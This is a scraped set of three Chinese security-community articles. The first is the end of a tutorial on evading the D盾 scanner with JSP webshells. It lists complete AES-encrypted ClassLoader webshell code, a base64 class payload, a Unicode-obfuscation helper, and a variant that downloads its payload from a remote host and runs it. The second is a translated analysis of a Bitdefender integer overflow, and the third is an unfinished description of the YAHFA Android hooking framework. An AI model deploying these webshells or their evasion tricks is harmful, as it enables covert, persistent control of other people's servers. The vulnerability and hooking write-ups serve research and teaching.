（如下可以发现D盾还是会爆可疑文件，这个其实从上面可以发现，爆出可疑文件主要是因为加密函数BASE64Decoder的问题，我们把整个函数进行替换即可绕过，这里只是提供一种绕过的思路啦！）
我们按照上面的编码把base64加密函数进行编码则可以绕过D盾。shell07.jsp
new U(this.getClass().getClassLoader()).g(new sun.misc.\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer(bx)).newInstance().equals(t);
**拓展：代码讲解（代码有技巧，值得细品）**
1.定义的参数类型为什么是ArrayList<Object>呢？
2.最后一个添加的参数this.getClass().getClassLoader()有什么寓意呢？
**（2）变换加载方式**
上一种方法即将加密后的class放入到文件中生成的网页马是比较大的，把class取出后文件的内容立马变成了601字节，也就是说class的内容占网页马的绝大部分内容。为了缩小网页马文件的大小，我们可以把class和执行文件分离，即变换加载方式。
我们将之前的txt放入到一个shell.txt文件中，
yv66vgAAADQAUQoAEQAlCgARACYKABEAJwcAKAoABAApBwAqCAArCgAsAC0HAC4KAAYALwoACQAwCgAsADEHADIKAA0AJgoADQAzBwA0BwA1CgAQACUKACwANgoAEAA3CgA4ADkKADoAOwcAPAEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAAygpVgEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwA8AQAKU291cmNlRmlsZQEAB2J4LmphdmEMABgAGQwAGAAcDAA9AD4BABNqYXZhL3V0aWwvQXJyYXlMaXN0DAA/AEABABBqYXZhL2xhbmcvU3RyaW5nAQADQUVTBwBBDABCAEMBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABEAEUMABgARgwARwBIAQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwASQBKAQACYngBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIMAEsATAwAHQAeBwBNDABOAE8HAFAMAB8AIAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7AQADZ2V0AQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7AQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQAPamF2YS9sYW5nL0NsYXNzAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9PYmplY3QAIQAQABEAAAAAAAQAAQAYABkAAQAaAAAAHgACAAIAAAAGKiu3AAGxAAAAAQAbAAAABgABAAAABgABABgAHAABABoAAAAdAAEAAQAAAAUqtwACsQAAAAEAGwAAAAYAAQAAAAcAAQAdAB4AAQAaAAAAIQAEAAIAAAAJKisDK763AAOwAAAAAQAbAAAABgABAAAACQABAB8AIAABABoAAADEAAYABwAAAG0rwAAETSwDtgAFwAAGTiwEtgAFwAAGOgQSB7gACDoFGQUFuwAJWS22AAoSB7cAC7YADLsADVm3AA4ZBLYADzoGuwAQWSwGtgAFwAARtwASGQUZBrYAE7YAFLYAFSwFtgAFtgAWV6cABk0DrASsAAEAAABlAGgAFwACABsAAAAuAAsAAAAPAAUAEAAOABEAGAATAB8AFAAyABUAQAAWAGUAHABoABkAaQAbAGsAHQAhAAAACQAC9wBoBwAiAgABACMAAAACACQ=
**A.绝对路径加载**
使用shel.txt的绝对路径进行加载其中的内容进行访问。
关于文件加载的方式参考链接如下：
Java读取文件内容的六种方法：<https://www.cnblogs.com/hkgov/p/14707726.html>
我们选择Files.readAllBytes()方法，即先将数据读取为二进制数组，然后转换成String内容，达到一次性的快速读取一个文件的内容转为String的目的。主要代码如下：
String filename = "D:\\xampp\\tomcat\\webapps\\ROOT\\shell.txt"; //txt存放的路径
byte[] bytes = Files.readAllBytes(Paths.get(filename));
String content = new String(bytes, StandardCharsets.UTF_8);
上面为主要代码，下面我们将代码与上面的webshell进行一个简单的融合，大致代码如下：shell10.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.nio.file.*,java.nio.charset.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
String filename = "D:\\xampp\\tomcat\\webapps\\ROOT\\shell.txt";
byte[] bytes = Files.readAllBytes(Paths.get(filename));
String content = new String(bytes, StandardCharsets.UTF_8);
String k="e45e329feb5d925b";
session.putValue("u",k);
String p=request.getReader().readLine();
ArrayList<Object> t=new ArrayList<Object>();
t.add(k);
t.add(p);
t.add(pageContext);
t.add(this.getClass().getClassLoader());
new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(content)).newInstance().equals(t);}
%>
运行结果如下：
**B.相对路径加载**
上面说了绝对路径，简便，但是实际中大多情况下我们都无法直接知道网站的绝对路径是什么，只能知道文件的一个相对路径，此时我们需要用到的就是相对路径啦！
参考链接：<https://www.jb51.net/article/124392.htm>
如上图，我们尝试使用 `new java.io.File` 方法。主要的加载代码如下：
String filename = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + "\\shell.txt";
总代码如下：shell11.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.nio.file.*,java.nio.charset.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
String filename = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + "\\shell.txt";
byte[] bytes = Files.readAllBytes(Paths.get(filename));
String content = new String(bytes, StandardCharsets.UTF_8);
String k="e45e329feb5d925b";
session.putValue("u",k);
String p=request.getReader().readLine();
ArrayList<Object> t=new ArrayList<Object>();
t.add(k);
t.add(p);
t.add(pageContext);
t.add(this.getClass().getClassLoader());
new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(content)).newInstance().equals(t);}
%>
运行结果如下：
**C.远程路径加载**
参考链接：
Java读取远程服务器上的txt文件
<https://www.cnblogs.com/dumanqingren/articles/2025291.html>
这里为了便于代码的阅读，我们把远程读取txt内容单独定义在一个函数，注意哦，jsp定义的语法为 `<%! %>`
，代码如下，我们传入远程的地址链接，然后函数读取后会返回一个String类型的遍历。
<%!
public String ReadUrl(String FileName) throws IOException{
String read;
String readStr ="";
try{
URL url =new URL(FileName);
HttpURLConnection urlCon = (HttpURLConnection)url.openConnection();
urlCon.setConnectTimeout(5000);
urlCon.setReadTimeout(5000);
BufferedReader br =new BufferedReader(new InputStreamReader( urlCon.getInputStream()));
while ((read = br.readLine()) !=null) {
readStr = readStr + read;
}
br.close();
}
catch (IOException e) {
// TODO Auto-generated catch block
readStr ="f";
}
return readStr;
}%>
函数调用语句如下：
String filename = "http://192.168.1.195:8080/payload/shell.txt";
String content = ReadUrl(filename);
完整代码如下：shell12.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.io.*,java.net.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%!
public String ReadUrl(String FileName) throws IOException{
String read;
String readStr ="";
try{
URL url =new URL(FileName);
HttpURLConnection urlCon = (HttpURLConnection)url.openConnection();
urlCon.setConnectTimeout(5000);
urlCon.setReadTimeout(5000);
BufferedReader br =new BufferedReader(new InputStreamReader( urlCon.getInputStream()));
while ((read = br.readLine()) !=null) {
readStr = readStr + read;
}
br.close();
}
catch (IOException e) {
// TODO Auto-generated catch block
readStr ="f";
}
return readStr;
}%>
<%if (request.getMethod().equals("POST")){
String filename = "http://192.168.1.195:8080/payload/shell.txt";
String content = ReadUrl(filename);
String k="e45e329feb5d925b";
session.putValue("u",k);
String p=request.getReader().readLine();
ArrayList<Object> t=new ArrayList<Object>();
t.add(k);
t.add(p);
t.add(pageContext);
t.add(this.getClass().getClassLoader());
new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(content)).newInstance().equals(t);}
%>
运行结果如下：
## 附录
### 1.JAVA之unicode编码代码测试
我们可以直接将需要转换的代码放在当前工程运行的文件夹下的jsp.txt文件，会自动将编码后的字符串存放到UnicdoeJsp.txt文件中，工程目录如下：
文件操作类fileutils如下：
import java.io.*;
public class fileutils {
/**
**以字符的方式读取文件
*/
public static String ReadJsp(String filePath) {
//读取文件
BufferedReader br = null;
StringBuffer sb = null;
try {
br = new BufferedReader(new InputStreamReader(new FileInputStream(filePath),"GBK")); //这里可以控制编码
sb = new StringBuffer();
String line = null;
while((line = br.readLine()) != null) {
sb.append(line);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
br.close();
} catch (Exception e) {
e.printStackTrace();
}
}
String data = new String(sb); //StringBuffer ==> String
// System.out.println("数据为==> " + data);
return data;
}
/*创建文件并写入内容*/
public static void CreateFile(String filepath, String file_str) {
try {
File filename = new File(filepath);
if(filename.createNewFile()) {
System.out.println("123文件创建成功！");
} else {
System.out.println("123文件创建失败！");
}
System.out.println(file_str);
FileOutputStream fos = new FileOutputStream(filename);
fos.write(file_str.getBytes());
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
/*删除文件*/
public static void DeleteFile(String filepath) {
File filename = new File(filepath);
if(filename.exists()) {
filename.delete();
System.out.println("文件删除成功！");
}else {
System.out.println("文件不存在，无需删除！");
}
return;
}
}
unicode编码的类unicode01代码如下：（PS：它将会对所有的的字母和数字进行编码）
public class unicode01 {
/**
**JSP字符串转unicode
*/
public static String jspToUnicode(String str) {
StringBuffer sb = new StringBuffer();
char[] c = str.toCharArray();
for (int i = 0; i < c.length; i++) {
// System.out.println(c[i]);
if(Character.isLetterOrDigit(c[i])) {
sb.append("\\u00" + Integer.toHexString(c[i]));
}else {
sb.append(c[i]);
}
}
return sb.toString();
}
//key转化为unicode
public static String[] keyToUnicode(String[] str) {
System.out.println("key转化为unicode\n");
String[] unkey = new String[str.length];
for(int i=0; i<str.length; i++) {
StringBuffer sb = new StringBuffer();
char[] c = str[i].toCharArray();
for (int j = 0; j < c.length; j++) {
sb.append("\\u00" + Integer.toHexString(c[j]));
}
System.out.println(sb);
unkey[i] = sb.toString();
}
return unkey;
}
public static void main(String[] args) {
String filepath = System.getProperty("user.dir") + "\\bin\\study\\jsp.txt";
String str = fileutils.ReadJsp(filepath);//以字符串 的形式读取文件内容
// System.out.println(str);
String unicode = jspToUnicode(str); //将字符串转化为unicode
System.out.println("字符串转unicode结果：\n" + unicode);
/** 为了保证程序的正常运行有些字符串不需要替换
** 本来是打算将key进行unicode编码，然后在unicode编码后的字符串str中匹配key，然后发现replaceAll无法匹配 \\u的内容。。。
** 因此就需要读者手工将其替换调。
** 这里会输入key对应的unicode编码，然后读者在生成的文件中手工替换调对应的unicode即可
**/
String[] key = {"java.util.*,javax.crypto.*,javax.crypto.spec.*","POST", "e45e329feb5d925b", "\"u\"", "AES"};//不需要转换为关键字
String[] unkey = keyToUnicode(key);
// for(int i=0; i<unkey.length; i++) {
// unicode = unicode.replaceFirst(unkey[i], key[i]);
// }
// System.out.println("特殊的字符串还原后：\n" + unicode);
//写入文件
String newfile = System.getProperty("user.dir") + "\\bin\\study\\UnicodeJsp.txt";
fileutils.DeleteFile(newfile);
fileutils.CreateFile(newfile, unicode);
}
}
使用方法：
运行类unicode01后，输出结果如下：需要替换的key在如下的位置。
我们在生成的UnicdoeJsp.txt文件中，将对应的unicode替换为key数组中的key，（PS：在这里，我们需要替换的”u”即\u0022\u0075\u0022，双引号是正常的，即他们存在的形式为”\u0075”，将它转换为”u”即可）。
## 参考链接：
Java读取文件内容的六种方法
<https://www.cnblogs.com/hkgov/p/14707726.html>
JSP页面定义函数方法
<https://blog.csdn.net/iteye_6792/article/details/82522373>
[Java]读取文件方法大全
<https://www.cnblogs.com/lovebread/archive/2009/11/23/1609122.html>
java中如何读取文件
<https://www.php.cn/java/base/436165.html>
Java 流(Stream)、文件(File)和IO
<https://www.runoob.com/java/java-files-io.html>
Java的绝对路径和相对路径
<https://www.cnblogs.com/xzwblog/p/6906167.html>
java安全策略 禁止反射_初探java安全之反射：
[https://blog.csdn.net/weixin_42364833/article/details/114244811?utm_source=app&app_version=4.9.1&code=app_1562916241&uLinkId=usr1mkqgl919blen](https://blog.csdn.net/weixin_42364833/article/details/114244811?utm_source=app&app_version=4.9.1&code=app_1562916241&uLinkId=usr1mkqgl919blen)
java将字符串转换成可执行代码
[https://blog.csdn.net/u013305864/article/details/79665069?utm_source=app&app_version=4.9.1&code=app_1562916241&uLinkId=usr1mkqgl919blen](https://blog.csdn.net/u013305864/article/details/79665069?utm_source=app&app_version=4.9.1&code=app_1562916241&uLinkId=usr1mkqgl919blen)
作者：Xor0ne
续写时间：20210616-20210618 | 社区文章 |
原文：<https://www.zerodayinitiative.com/blog/2018/6/19/analyzing-an-integer-overflow-in-bitdefender-av-part-1-the-vulnerability>
在众多的软件缺陷中，安全软件中出现的漏洞被认为比其他漏洞尤为严重。这是因为，安全软件是帮助用户抵御攻击者的靠山，所以，如果这些软件中出现安全问题，不仅会受到攻击者所带来的伤害，同时，还会导致虚假的安全感：自以为神功护体，实际上却不堪一击。这就是我们特别关注Bitdefender
Internet
Security中的安全漏洞的原因之一，如果该漏洞被利用，这款安全防护软件就会被攻击者用于远程执行代码。实际上，这个漏洞是由整数溢出引起的，尽管现在已经修复，但是仍然值得我们仔细研究。
当前，尽管系统已经提供了DEP和ASLR等防御机制，但是，人们仍然可以对现代软件中的整数溢出进行有效的利用。在本文中，我们将对这个运行攻击者在目标系统上面远程执行代码的整数溢出漏洞进行详细的介绍。
**Bitdefender概述**
* * *
Bitdefender提供了多种具有防病毒（AV）功能的产品，并且所有这些AV产品都安装了SYSTEM服务vsserv.exe。该服务的作用是处理AV扫描请求。就像各种AV引擎一样，它能够处理各种常见文件类型（例如PDF、JPG、DOC、EXE）和病毒库，即一系列扩展名为.xmd或.cvd的压缩可执行文件，位于%PROGRAMFILES%\Common
Files\Bitdefender\Bitdefender Threat
Scanner\Antivirus_XXXX\Plugins\目录中。除此之外，该引擎还有一个鲜为人知的功能，即模拟遇到的可执行代码，以此检测未知或经过混淆处理的病毒。
遇到x86可移植可执行文件（PE）时，Bitdefender实际上是通过保存在cevakrnl.xmd和ceva_emu.cvd文件中高度复杂的代码仿真器来虚拟执行PE的。这些仿真器会创建一个私有虚拟地址空间，解释字节码，提供各种Windows
API的实现，并为频繁执行的地址创建相应的JIT（Just-In-Time，JIT）代码。
**杀毒原理简介**
* * *
当仿真器检测到函数调用时，就会调用cevakrnl.xmd!sub_366F4D0()。该函数处理被仿真函数中的第一条指令，实际上就是在一个常量表中搜索匹配项。在处理后面的指令时，算法会考虑解释器的当前状态。换句话说，对于每个已经匹配的指令，都要为后面的指令搜索其他匹配表。
当函数的前16个字节被仿真器找到相应的匹配项时，或者当指令序列是未知的指令序列时，初始搜索就宣告结束。
常量表中最后的匹配项会提供函数起始位置之前一些已知字节的内容，以及函数起始位置后16字节的内容。
[X bytes before]
FUNCTIONSTART:
16 bytes already matched
[Y bytes after]
然后，该引擎会读取并检查这些字节的内容，以确定是否与已知的AV签名相匹配。如果匹配，则调用检测到的代码签名对应的处理程序做进一步处理。
**漏洞分析**
* * *
遇到Themida加壳软件代码序列时，该杀毒软件就会调用sub_36906D0()函数以便对匹配的序列进行代码解释。
被解释的代码中，唯一的变量为ebp偏移量"X"，并且ebx的值就是通过它读取的。该函数从代码流中提取偏移量，并使用它从仿真堆栈中获取ebx的值。
接下来，会解释mov ecx, [ebx]指令，ecx的值是从保存在ebx中的模拟地址中提取的。
接下来解释下面的代码序列：
这里，会根据ecx + dword[ecx + 0x78 + word[ecx+0x3c]]计算出仿真esi的值。
接下来从仿真的esi中总共提取0x28字节，并读取偏移0x18处的dword （对应仿真代码的mov edi，[esi + 18h]指令）。
对dword（N）乘以4的时候，没有进行整数边界检查，然后调用了malloc()。这样的话，将导致分配的缓冲区过小。
接下来进入一个循环，在该循环中，将会把通过位于仿真堆栈中的偏移量找到的N个字符串的CRC32校验和填充到这个缓冲区中。当字符串的偏移量过大的时候，循环将会中止。
这提供了执行代码时所需的一切。首先，我们需要能够用自己的内容覆盖任意数量的字节。这就需要用到一些其CRC值符合特定要求的字符串。当然，这里的CRC32算法是非标准的，因为它将每个字符串的终止零字节也计算进来了。然而，通过蛮力攻击，也能完成逆向分析。
当匹配的函数被调用时，漏洞被触发，即利用任意内容覆盖特定数量的内存空间。
**小结**
* * *
通过深入分析，我们可以看到，攻击者可以含有整数溢出漏洞的Bitdefender版本上执行任意代码。目前，软件供应商已经通过更新修复了该漏洞（以及其他漏洞）。因此，对于Bitdefender用户来说，应确保自己更新到最新的版本。在下一篇文章中，将为大家介绍如何利用这个漏洞，届时将会向读者展示我们是如何绕过DEP和ALSR等防护机制的。 | 社区文章 |
# YAHFA--ART环境下的Hook框架
##### 译文声明
本文是翻译文章，文章原作者 刘瑞恺，文章来源：平安集团银河实验室
原文地址：<http://galaxylab.org/yahfa-art%E7%8E%AF%E5%A2%83%E4%B8%8B%E7%9A%84hook%E6%A1%86%E6%9E%B6/>
译文仅供参考，具体内容表达以及含义原文为准。
> 在Android
> Dalvik时代，最流行的Hook框架非Xposed莫属了。各种功能强大的Xposed插件极大地丰富了Android的可玩性，而对于安全研究人员来说，hook则是应用逆向工作中的一项非常有效的手段。
>
>
> 但是，进入到ART时代后，情况逐渐发生了变化。Xposed框架对系统进行了较大的改动，因此其安装适配难度显著提高；另一方面，随着近年来热修复技术的兴起，各大国内厂商也纷纷推出了自己的hook工具。但是，在实际试用过程中，我发现许多工具并不太适用于逆向分析。为此，在研究学习了ART方法调用机制和主要hook框架的基本原理后，我设计实现了一套新的ART环境hook框架：YAHFA(Yet
> Another Hook Framework for ART)。
本文将对YAHFA的工作原理进行介绍。
##
## 背景知识
首先，我们对ART环境下方法的调用进行基本的介绍。如无特殊说明，以下内容均针对Android 6.0(API
23)，架构x86。在ART环境下，每个方法对应于一个ArtMethod结构体。这个结构体包含的字段如下：
class ArtMethod {
// Field order required by test "ValidateFieldOrderOfJavaCppUnionClasses".
// The class we are a part of.
GcRoot<mirror::Class> declaring_class_;
// Short cuts to declaring_class_->dex_cache_ member for fast compiled code access.
GcRoot<mirror::PointerArray> dex_cache_resolved_methods_;
// Short cuts to declaring_class_->dex_cache_ member for fast compiled code access.
GcRoot<mirror::ObjectArray<mirror::Class>> dex_cache_resolved_types_;
// Access flags; low 16 bits are defined by spec.
uint32_t access_flags_;
/* Dex file fields. The defining dex file is available via declaring_class_->dex_cache_ */
// Offset to the CodeItem.
uint32_t dex_code_item_offset_;
// Index into method_ids of the dex file associated with this method.
uint32_t dex_method_index_;
/* End of dex file fields. */
// Entry within a dispatch table for this method. For static/direct methods the index is into
// the declaringClass.directMethods, for virtual methods the vtable and for interface methods the ifTable.
uint32_t method_index_;
// Fake padding field gets inserted here.
// Must be the last fields in the method.
// PACKED(4) is necessary for the correctness of
// RoundUp(OFFSETOF_MEMBER(ArtMethod, ptr_sized_fields_), pointer_size).
struct PACKED(4) PtrSizedFields {
// Method dispatch from the interpreter invokes this pointer which may cause a bridge into compiled code.
void* entry_point_from_interpreter_;
// Pointer to JNI function registered to this method, or a function to resolve the JNI function.
void* entry_point_from_jni_;
// Method dispatch from quick compiled code invokes this pointer which may cause bridging into the interpreter.
void* entry_point_from_quick_compiled_code_;
} ptr_sized_fields_;
}
根据用途，这些字段大致可分为三类：入口点，方法信息和解析缓存信息。
####
## 入口点
ArtMethod结构体末尾处的entry_point_from_*，是不同条件下方法执行的入口点。entry_point_from_jni_通常没有用到，所以可以用来保存其他信息
。我们最关心的是entry_point_from_quick_compiled_code_ 。
例如，我们有如下java代码：
Log.e("tag", "msg");
编译为dalvik字节码，对应如下：
invoke-static {v0, v1}, Landroid/util/Log;.e:(Ljava/lang/String;Ljava/lang/String;)I // method@0000
而经过dex2oat，将其编译为机器码，则得到如下内容：
//
mov 0x10(%esp),%ecx ; 设置第1个参数
mov 0x14(%esp),%edx ; 设置第2个参数
mov (%esp),%eax ; 栈顶保存了当前方法ArtMethod结构体的地址
mov 0x4(%eax),%eax ; 获取当前方法的dex_cache_resolved_methods_(偏移为4)
mov 0xc(%eax),%eax ; 获取dex_cache_resolved_methods_中的第一项，即method index为0的方法Log.e，后面会介绍
call *0x24(%eax) ; 调用Log.e的entry_point_from_quick_compiled_code_(偏移为36)
上述汇编代码中，我们布置完成栈和寄存器，通过dex_cache_resolved_methods_(后面会介绍)获取到要调用的方法，即callee，然后便直接跳转到callee的entry_point_from_quick_compiled_code_。结合Android源码中的注释可知，在caller调用callee之前，caller需要进行以下准备工作：
* 栈顶保存caller的`ArtMethod`地址
* 将参数依次保存在寄存器`ecx`, `edx`, `ebx`
* 如果有其他参数，将其依次保存在栈上
* 将callee的`ArtMethod`地址保存在`eax`
需要注意的是，以上介绍的是直接调用方法的情况，即在ART中caller调用callee。而通过反射方式调用方法，即Method.invoke()，则相当于从ART外部进入ART中，此时就需要首先调用art_quick_invoke_stub，进行准备工作（比如通过`memcpy`，将传入的参数按照calling
convention复制到栈上），随后才能跳转到entry_point_from_quick_compiled_code_。所以，比起直接调用方法，通过反射调用会带来额外的开销。
到目前为止，我们了解了调用方法前的准备。那么，在进入entry_point_from_quick_compiled_code_后，又发生了什么呢？有些方法的entry_point_from_quick_compiled_code_指向的便是经编译后方法的机器码；但有些方法在调用时尚未解析（如静态方法等），这些方法的entry_point_from_quick_compiled_code_通常指向的是一段用于解析方法的指令：art_quick_resolution_trampoline，当解析完成后，会将entry_point_from_quick_compiled_code_更新为实际的机器码地址。接下来我们便介绍方法解析的相关内容。
####
## 方法信息
`ArtMethod`中除了入口地址，还包括该方法本身的一些信息，例如方法所属于的类declaring_class_、在所属类中的方法编号method_index_，以及对应于原始dex文件的信息dex_code_item_offset_,
dex_method_index_等。
那么，什么时候需要这些信息呢？从目前看到的代码来看，在解析方法会被使用。例如，在函数`artQuickResolutionTrampoline`中，有如下代码：
uint32_t dex_pc = caller->ToDexPc(QuickArgumentVisitor::GetCallingPc(sp));
const DexFile::CodeItem* code;
called_method.dex_file = caller->GetDexFile();
code = caller->GetCodeItem();
CHECK_LT(dex_pc, code->insns_size_in_code_units_);
const Instruction* instr = Instruction::At(&code->insns_[dex_pc]);
Instruction::Code instr_code = instr->Opcode();
这里，我们需要解析的是callee的机器码地址，具体操作则是从caller下手。回忆之前提到的calling
convention，我们知道caller会将自己的`ArtMethod`结构体保存在栈上。从栈上得到该结构体后，通过其dex_code_item_offset_
等dex相应信息，便可以回溯dalvik代码，找到caller调用callee的那一条dalvik字节码，从而获取调用方式和callee的dex
method index。有了这些信息，便可通过ClassLinker的ResolveMethod完成方法解析。
另一方面，通过反射获取方法时，也需要这些信息。一般地，通过反射获取方法，采取的是如下操作：
* 获取到类的结构体
* 获取这个类的方法数组，数组的每项对应于各方法的ArtMethod地址，方法在数组中的编号就保存在method_index_字段中
* 遍历数组，对每个方法，检查其名称和签名是否匹配
但是，ArtMethod本身并不包含方法的名称、签名等信息，这些信息仍然保留在dex中。所以，需要从`dex_method_index_`获取到方法在dex中的index，进而通过declaring_class_所对应的dex获取这个方法的名称和签名信息。
由上可知，ArtMethod结构体中的这些信息也是很重要的，如果随意修改，则会发生NoSuchMethodError等问题。
####
## 解析缓存信息
最后，我们来看ArtMethod结构体中尚未介绍的字段：dex_cache_resolved_methods_和dex_cache_resolved_types_。
dex_cache_resolved_methods_是一个指针数组，保存的是ArtMethod结构指针。回忆上文方法调用所对应的机器码，我们知道caller就是在dex_cache_resolved_methods_中找到callee的。顾名思义，这个数组用于缓存解析的方法。
具体地，在dex文件加载时，数组dex_cache_resolved_methods_被初始化。此时，其保存的指针全部指向同一个ArtMethod。在文件dex_cache.cc中可看到如下代码：
if (runtime->HasResolutionMethod()) {
// Initialize the resolve methods array to contain trampolines for resolution.
Fixup(runtime->GetResolutionMethod(), pointer_size);
}
}
void DexCache::Fixup(ArtMethod* trampoline, size_t pointer_size) {
// Fixup the resolve methods array to contain trampoline for resolution.
CHECK(trampoline != nullptr);
CHECK(trampoline->IsRuntimeMethod());
auto* resolved_methods = GetResolvedMethods();
for (size_t i = 0, length = resolved_methods->GetLength(); i < length; i++) {
if (resolved_methods->GetElementPtrSize<ArtMethod*>(i, pointer_size) == nullptr) {
resolved_methods->SetElementPtrSize(i, trampoline, pointer_size);
}
}
}
这个被指向的ArtMethod是runtime的resolution_method_，其作用便是解析得到方法的实际ArtMethod。当callee第一次被调用时，由数组dex_cache_resolved_methods_获取并执行的是resolution_method_。待解析完成，得到callee的实际ArtMethod后，再去执行实际的代码；此外，还会将解析得到的ArtMethod填充到数组dex_cache_resolved_methods_的相应位置。这样，之后callee再被调用时，便无需再次进行方法解析。
这种方式与ELF的got.plt极为相似，如果研究过ELF的方法调用机制，应该对这里的dex_cache_resolved_methods_不会感到陌生。
##
## 主流hook框架
在介绍YAHFA之前，有必要对目前ART环境下主要的hook框架进行一个简要的介绍
### Xposed
相比其他框架，Xposed的代码量相当大，这主要是因为为了适配ART环境，Xposed[重新实现了libart.so等重要系统库](https://github.com/rovo89/android_art)。
具体地，Xposed是替换了方法的入口点entry_point_from_quick_compiled_code_，并将原方法等信息备份在entry_point_from_jni_中。替换后的入口点
，会重新准备栈和寄存器，执行方法artQuickProxyInvokeHandler，并最终进入InvokeXposedHandleHookedMethod，完成hook的执行。
### AndFix
AndFix的替换思路很简单：找到目标方法后，将其`ArtMethod`结构体的内容全部替换成为hook的内容：
void replace_6_0(JNIEnv* env, jobject src, jobject dest) {
art::mirror::ArtMethod* smeth =
(art::mirror::ArtMethod*) env->FromReflectedMethod(src);
art::mirror::ArtMethod* dmeth =
(art::mirror::ArtMethod*) env->FromReflectedMethod(dest);
reinterpret_cast<art::mirror::Class*>(dmeth->declaring_class_)->class_loader_ =
reinterpret_cast<art::mirror::Class*>(smeth->declaring_class_)->class_loader_; //for plugin classloader
reinterpret_cast<art::mirror::Class*>(dmeth->declaring_class_)->clinit_thread_id_ =
reinterpret_cast<art::mirror::Class*>(smeth->declaring_class_)->clinit_thread_id_;
reinterpret_cast<art::mirror::Class*>(dmeth->declaring_class_)->status_ = reinterpret_cast<art::mirror::Class*>(smeth->declaring_class_)->status_-1;
//for reflection invoke
reinterpret_cast<art::mirror::Class*>(dmeth->declaring_class_)->super_class_ = 0;
smeth->declaring_class_ = dmeth->declaring_class_;
smeth->dex_cache_resolved_methods_ = dmeth->dex_cache_resolved_methods_;
smeth->dex_cache_resolved_types_ = dmeth->dex_cache_resolved_types_;
smeth->access_flags_ = dmeth->access_flags_ | 0x0001;
smeth->dex_code_item_offset_ = dmeth->dex_code_item_offset_;
smeth->dex_method_index_ = dmeth->dex_method_index_;
smeth->method_index_ = dmeth->method_index_;
smeth->ptr_sized_fields_.entry_point_from_interpreter_ =
dmeth->ptr_sized_fields_.entry_point_from_interpreter_;
smeth->ptr_sized_fields_.entry_point_from_jni_ =
dmeth->ptr_sized_fields_.entry_point_from_jni_;
smeth->ptr_sized_fields_.entry_point_from_quick_compiled_code_ =
dmeth->ptr_sized_fields_.entry_point_from_quick_compiled_code_;
LOGD("replace_6_0: %d , %d",
smeth->ptr_sized_fields_.entry_point_from_quick_compiled_code_,
dmeth->ptr_sized_fields_.entry_point_from_quick_compiled_code_);
}
这样做存在两点问题：
* 原方法的信息全部被替换，所以无法再执行原方法了。在逆向分析时，我们有时并不是要完全替换原方法，而是类似于插桩等措施，获取方法执行过程中的一些关键的信息，所以必须要对原方法进行备份以执行。
* 原方法所属的对应dex信息也被替换了。如前文所述，这些信息在通过反射机制获取方法时会被使用，所以原方法和hook方法的名称、签名必须完全一致。对于热修复来说，这点也许影响不大，但对于逆向分析则略显不便。此外，由于这些信息在解析方法时会被使用，所以有时也会发生NoSuchMethodError的问题。
### Legend
Legend和AndFix基本上采取的是完全一样的手段，即直接将目标方法的`ArtMethod`结构体内容全部替换：
artOrigin.setEntryPointFromQuickCompiledCode(hookPointFromQuickCompiledCode);
artOrigin.setEntryPointFromInterpreter(hookEntryPointFromInterpreter);
artOrigin.setDeclaringClass(hookDeclaringClass);
artOrigin.setDexCacheResolvedMethods(hookDexCacheResolvedMethods);
artOrigin.setDexCacheResolvedTypes(hookDexCacheResolvedTypes);
artOrigin.setDexCodeItemOffset((int) hookDexCodeItemOffset);
artOrigin.setDexMethodIndex((int) hookDexMethodIndex);
与AndFix不同的是，Legend在替换前，对原方法进行了备份保存。随后就可以通过调用这个备份方法来执行原方法。不过，这种执行原方法的手段，带来的额外开销比较大：
* 首先需要通过在map中查找的方式动态获取原方法的备份，即备份方法的结构体必须在运行时动态获取
* 随后再通过反射机制Method.invoke()来执行，如前文所述，需要再次通过`art_quick_invoke_stub`准备调用环境，重新进入ART。
此外，与AndFix一样，由于`ArtMethod`的内容全部被替换，所以如果原方法是通过反射调用的，那么hook方法必须具有相同的方法名和签名；另外，对于静态方法这类可能在调用时解析的方法，有时也会出现问题。
### 其他
